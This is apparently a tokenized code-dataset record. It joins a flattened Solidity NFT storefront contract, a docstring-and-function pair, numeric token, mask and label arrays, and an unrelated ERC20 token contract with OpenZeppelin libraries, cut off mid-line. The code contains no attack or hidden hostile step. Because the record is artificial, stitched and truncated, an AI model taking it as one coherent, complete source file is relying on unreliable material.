"1.0.0"; } /** * @dev Require _from to own a specified quantity of the token */ function _ownsTokenAmount( address _from, uint256 _id, uint256 _quantity ) internal view returns (bool) { return balanceOf(_from, _id) >= _quantity; } /** * Compat for factory interfaces on Mintverse * Indicates that this contract can return balances for * tokens that haven't been minted yet */ function supportsFactoryInterface() public pure returns (bool) { return true; } function setTemplateURI(string memory _uri) public onlyOwnerOrProxy { templateURI = _uri; } function setURI(uint256 _id, string memory _uri) public virtual onlyOwnerOrProxy onlyImpermanentURI(_id) { _setURI(_id, _uri); } function setPermanentURI(uint256 _id, string memory _uri) public virtual onlyOwnerOrProxy onlyImpermanentURI(_id) { _setPermanentURI(_id, _uri); } function isPermanentURI(uint256 _id) public view returns (bool) { return _isPermanentURI[_id]; } function uri(uint256 _id) public view override returns (string memory) { string memory tokenUri = _tokenURI[_id]; if (bytes(tokenUri).length != 0) { return tokenUri; } return templateURI; } function balanceOf(address _owner, uint256 _id) public view virtual override returns (uint256) { uint256 balance = super.balanceOf(_owner, _id); return _isCreatorOrProxy(_id, _owner) ? balance + _remainingSupply(_id) : balance; } function safeTransferFrom( address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data ) public override { uint256 mintedBalance = super.balanceOf(_from, _id); if (mintedBalance < _amount) { // Only mint what _from doesn't already have mint(_to, _id, _amount - mintedBalance, _data); if (mintedBalance > 0) { super.safeTransferFrom(_from, _to, _id, mintedBalance, _data); } } else { super.safeTransferFrom(_from, _to, _id, _amount, _data); } } function safeBatchTransferFrom( address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data ) public override { require( _ids.length == _amounts.length, "MintverseNFT#safeBatchTransferFrom: INVALID_ARRAYS_LENGTH" ); for (uint256 i = 0; i < _ids.length; i++) { safeTransferFrom(_from, _to, _ids[i], _amounts[i], _data); } } function _beforeMint(uint256 _id, uint256 _quantity) internal view override { require( _quantity <= _remainingSupply(_id), "MintverseNFT#_beforeMint: QUANTITY_EXCEEDS_TOKEN_SUPPLY_CAP" ); } // Overrides ERC1155Tradable burn to check for quantity owned function burn( address _from, uint256 _id, uint256 _quantity ) public override onlyTokenAmountOwned(_from, _id, _quantity) { super.burn(_from, _id, _quantity); } // Overrides ERC1155Tradable batchBurn to check for quantity owned function batchBurn( address _from, uint256[] memory _ids, uint256[] memory _quantities ) public override { for (uint256 i = 0; i < _ids.length; i++) { require( _ownsTokenAmount(_from, _ids[i], _quantities[i]), "MintverseNFT#batchBurn: ONLY_TOKEN_AMOUNT_OWNED_ALLOWED" ); } super.batchBurn(_from, _ids, _quantities); } function _mint( address _to, uint256 _id, uint256 _quantity, bytes memory _data ) internal override { super._mint(_to, _id, _quantity, _data); if (_data.length > 1) { _setURI(_id, string(_data)); } } function _isCreatorOrProxy(uint256, address _address) internal view virtual returns (bool) { return _isOwnerOrProxy(_address); } function _remainingSupply(uint256 _id) internal view virtual returns (uint256) { return TOKEN_SUPPLY_CAP - totalSupply(_id); } // Override ERC1155Tradable for birth events function _origin( uint256 /* _id */ ) internal view virtual override returns (address) { return owner(); } function _batchMint( address _to, uint256[] memory _ids, uint256[] memory _quantities, bytes memory _data ) internal virtual override { super._batchMint(_to, _ids, _quantities, _data); if (_data.length > 1) { for (uint256 i = 0; i < _ids.length; i++) { _setURI(_ids[i], string(_data)); } } } function _setURI(uint256 _id, string memory _uri) internal { _tokenURI[_id] = _uri; emit URI(_uri, _id); } function _setPermanentURI(uint256 _id, string memory _uri) internal virtual { require( bytes(_uri).length > 0, "MintverseNFT#setPermanentURI: ONLY_VALID_URI" ); _isPermanentURI[_id] = true; _setURI(_id, _uri); emit PermanentURI(_uri, _id); } } // File: @openzeppelin\contracts\utils\Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: contracts\TokenIdentifiers.sol pragma solidity 0.8.4; /* DESIGN NOTES: Token ids are a concatenation of: * creator: hex address of the creator of the token. 160 bits * index: Index for this token (the regular ID), up to 2^56 - 1. 56 bits * supply: Supply cap for this token, up to 2^40 - 1 (1 trillion). 40 bits */ /** * @title TokenIdentifiers * support for authentication and metadata for token ids */ library TokenIdentifiers { uint8 constant ADDRESS_BITS = 160; uint8 constant INDEX_BITS = 56; uint8 constant SUPPLY_BITS = 40; uint256 constant SUPPLY_MASK = (uint256(1) << SUPPLY_BITS) - 1; uint256 constant INDEX_MASK = ((uint256(1) << INDEX_BITS) - 1) ^ SUPPLY_MASK; function tokenMaxSupply(uint256 _id) internal pure returns (uint256) { return _id & SUPPLY_MASK; } function tokenIndex(uint256 _id) internal pure returns (uint256) { return _id & INDEX_MASK; } function tokenCreator(uint256 _id) internal pure returns (address) { return address(uint160(_id >> (INDEX_BITS + SUPPLY_BITS))); } } // File: contracts\MintverseNFTShared.sol pragma solidity 0.8.4; /** * @title MintverseNFTShared * Mintverse shared asset contract - A contract for easily creating custom assets on Mintverse */ contract MintverseNFTShared is MintverseNFT, ReentrancyGuard { // Migration contract address MintverseNFTShared public migrationTarget; mapping(address => bool) public sharedProxyAddresses; struct Ownership { uint256 id; address owner; } using TokenIdentifiers for uint256; event CreatorChanged(uint256 indexed _id, address indexed _creator); mapping(uint256 => address) internal _creatorOverride; /** * @dev Require msg.sender to be the creator of the token id */ modifier creatorOnly(uint256 _id) { require( _isCreatorOrProxy(_id, _msgSender()), "MintverseNFTShared#creatorOnly: ONLY_CREATOR_ALLOWED" ); _; } /** * @dev Require the caller to own the full supply of the token */ modifier onlyFullTokenOwner(uint256 _id) { require( _ownsTokenAmount(_msgSender(), _id, _id.tokenMaxSupply()), "MintverseNFTShared#onlyFullTokenOwner: ONLY_FULL_TOKEN_OWNER_ALLOWED" ); _; } constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress, string memory _templateURI, address _migrationAddress ) MintverseNFT(_name, _symbol, _proxyRegistryAddress, _templateURI) { migrationTarget = MintverseNFTShared(_migrationAddress); } /** * @dev Allows owner to change the proxy registry */ function setProxyRegistryAddress(address _address) public onlyOwnerOrProxy { proxyRegistryAddress = _address; } /** * @dev Allows owner to add a shared proxy address */ function addSharedProxyAddress(address _address) public onlyOwnerOrProxy { sharedProxyAddresses[_address] = true; } /** * @dev Allows owner to remove a shared proxy address */ function removeSharedProxyAddress(address _address) public onlyOwnerOrProxy { delete sharedProxyAddresses[_address]; } /** * @dev Allows owner to disable the ability to migrate */ function disableMigrate() public onlyOwnerOrProxy { migrationTarget = MintverseNFTShared(address(0)); } /** * @dev Migrate state from previous contract */ function migrate(Ownership[] memory _ownerships) public onlyOwnerOrProxy { MintverseNFTShared _migrationTarget = migrationTarget; require( _migrationTarget != MintverseNFTShared(address(0)), "MintverseNFTShared#migrate: MIGRATE_DISABLED" ); string memory _migrationTargetTemplateURI = _migrationTarget.templateURI(); for (uint256 i = 0; i < _ownerships.length; ++i) { uint256 id = _ownerships[i].id; address owner = _ownerships[i].owner; require( owner != address(0), "MintverseNFTShared#migrate: ZERO_ADDRESS_NOT_ALLOWED" ); uint256 previousAmount = _migrationTarget.balanceOf(owner, id); if (previousAmount == 0) { continue; } _mint(owner, id, previousAmount, ""); if ( keccak256(bytes(_migrationTarget.uri(id))) != keccak256(bytes(_migrationTargetTemplateURI)) ) { _setPermanentURI(id, _migrationTarget.uri(id)); } } } function mint( address _to, uint256 _id, uint256 _quantity, bytes memory _data ) public override nonReentrant creatorOnly(_id) { _mint(_to, _id, _quantity, _data); } function batchMint( address _to, uint256[] memory _ids, uint256[] memory _quantities, bytes memory _data ) public override nonReentrant { for (uint256 i = 0; i < _ids.length; i++) { require( _isCreatorOrProxy(_ids[i], _msgSender()), "MintverseNFTShared#_batchMint: ONLY_CREATOR_ALLOWED" ); } _batchMint(_to, _ids, _quantities, _data); } ///////////////////////////////// // CONVENIENCE CREATOR METHODS // ///////////////////////////////// /** * @dev Will update the URI for the token * @param _id The token ID to update. msg.sender must be its creator, the uri must be impermanent, * and the creator must own all of the token supply * @param _uri New URI for the token. */ function setURI(uint256 _id, string memory _uri) public override creatorOnly(_id) onlyImpermanentURI(_id) onlyFullTokenOwner(_id) { _setURI(_id, _uri); } /** * @dev setURI, but permanent */ function setPermanentURI(uint256 _id, string memory _uri) public override creatorOnly(_id) onlyImpermanentURI(_id) onlyFullTokenOwner(_id) { _setPermanentURI(_id, _uri); } /** * @dev Change the creator address for given token * @param _to Address of the new creator * @param _id Token IDs to change creator of */ function setCreator(uint256 _id, address _to) public creatorOnly(_id) { require( _to != address(0), "MintverseNFTShared#setCreator: INVALID_ADDRESS." ); _creatorOverride[_id] = _to; emit CreatorChanged(_id, _to); } /** * @dev Get the creator for a token * @param _id The token id to look up */ function creator(uint256 _id) public view returns (address) { if (_creatorOverride[_id] != address(0)) { return _creatorOverride[_id]; } else { return _id.tokenCreator(); } } /** * @dev Get the maximum supply for a token * @param _id The token id to look up */ function maxSupply(uint256 _id) public pure returns (uint256) { return _id.tokenMaxSupply(); } // Override ERC1155Tradable for birth events function _origin(uint256 _id) internal pure override returns (address) { return _id.tokenCreator(); } function _requireMintable(address _address, uint256 _id) internal view { require( _isCreatorOrProxy(_id, _address), "MintverseNFTShared#_requireMintable: ONLY_CREATOR_ALLOWED" ); } function _remainingSupply(uint256 _id) internal view override returns (uint256) { return maxSupply(_id) - totalSupply(_id); } function _isCreatorOrProxy(uint256 _id, address _address) internal view override returns (bool) { address creator_ = creator(_id); return creator_ == _address || _isProxyForUser(creator_, _address); } // Overrides ERC1155Tradable to allow a shared proxy address function _isProxyForUser(address _user, address _address) internal view override returns (bool) { if (sharedProxyAddresses[_address]) { return true; } return super._isProxyForUser(_user, _address); } }
* @dev Will update the URI for the token @param _id The token ID to update. msg.sender must be its creator, the uri must be impermanent, and the creator must own all of the token supply @param _uri New URI for the token./
function setURI(uint256 _id, string memory _uri) public override creatorOnly(_id) onlyImpermanentURI(_id) onlyFullTokenOwner(_id) { _setURI(_id, _uri); }
2,070,592
[ 1, 13670, 1089, 326, 3699, 364, 326, 1147, 225, 389, 350, 1021, 1147, 1599, 358, 1089, 18, 1234, 18, 15330, 1297, 506, 2097, 11784, 16, 326, 2003, 1297, 506, 709, 457, 4728, 319, 16, 5411, 471, 326, 11784, 1297, 4953, 777, 434, 326, 1147, 14467, 225, 389, 1650, 1166, 3699, 364, 326, 1147, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 3098, 12, 11890, 5034, 389, 350, 16, 533, 3778, 389, 1650, 13, 203, 3639, 1071, 203, 3639, 3849, 203, 3639, 11784, 3386, 24899, 350, 13, 203, 3639, 1338, 1170, 457, 4728, 319, 3098, 24899, 350, 13, 203, 3639, 1338, 5080, 1345, 5541, 24899, 350, 13, 203, 565, 288, 203, 3639, 389, 542, 3098, 24899, 350, 16, 389, 1650, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../interfaces/ICLeverToken.sol"; // solhint-disable-next-line contract-name-camelcase contract CLeverToken is Ownable, ERC20, ICLeverToken { using SafeERC20 for ERC20; using SafeMath for uint256; event UpdateMinter(address indexed _minter, bool _status); event UpdateCeiling(address indexed _minter, uint128 _ceiling); struct MinterInfo { // The maximum amount of CLeverToken can mint. uint128 ceiling; // The number of CLeverToken minted so far. uint128 minted; } /// @dev Mapping from address to minter status, `true` means is a minter and `false` means not. mapping(address => bool) public isMinter; /// @dev Mapping from minter address to minter info. mapping(address => MinterInfo) public minterInfo; modifier onlyMinter() { require(isMinter[msg.sender], "CLeverToken: only minter"); _; } constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {} /********************************** Mutated Functions **********************************/ /// @dev Mint tokens to a recipient. /// @param _recipient the account to mint tokens to. /// @param _amount the amount of tokens to mint. function mint(address _recipient, uint256 _amount) external override onlyMinter { MinterInfo memory _info = minterInfo[msg.sender]; uint256 _minted = _info.minted; uint256 _ceiling = _info.ceiling; require(_minted.add(_amount) <= _ceiling, "CLeverToken: reach mint ceiling"); minterInfo[msg.sender].minted = uint128(_minted + _amount); _mint(_recipient, _amount); } /// @dev Burn tokens of caller. /// @param _amount the amount of tokens to burn. function burn(uint256 _amount) external override { _burn(msg.sender, _amount); } /// @dev Burn tokens of a account. /// @param _account the account to burn tokens. /// @param _amount the amount of tokens to burn. function burnFrom(address _account, uint256 _amount) external override { uint256 _decreasedAllowance = allowance(_account, msg.sender).sub( _amount, "CLeverToken: burn amount exceeds allowance" ); _approve(_account, msg.sender, _decreasedAllowance); _burn(_account, _amount); } /********************************** Restricted Functions **********************************/ /// @dev Update the status of a list of minters. /// @param _minters The address list of minters. /// @param _status The status to update. function updateMinters(address[] memory _minters, bool _status) external onlyOwner { for (uint256 i = 0; i < _minters.length; i++) { require(_minters[i] != address(0), "CLeverToken: zero minter address"); isMinter[_minters[i]] = _status; emit UpdateMinter(_minters[i], _status); } } /// @dev Update the mint ceiling for minter. /// @param _minter the address of minter to set the ceiling. /// @param _ceiling the max amount of tokens the account is allowed to mint. function updateCeiling(address _minter, uint128 _ceiling) external onlyOwner { require(isMinter[_minter], "CLeverToken: not minter"); minterInfo[_minter].ceiling = _ceiling; emit UpdateCeiling(_minter, _ceiling); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition 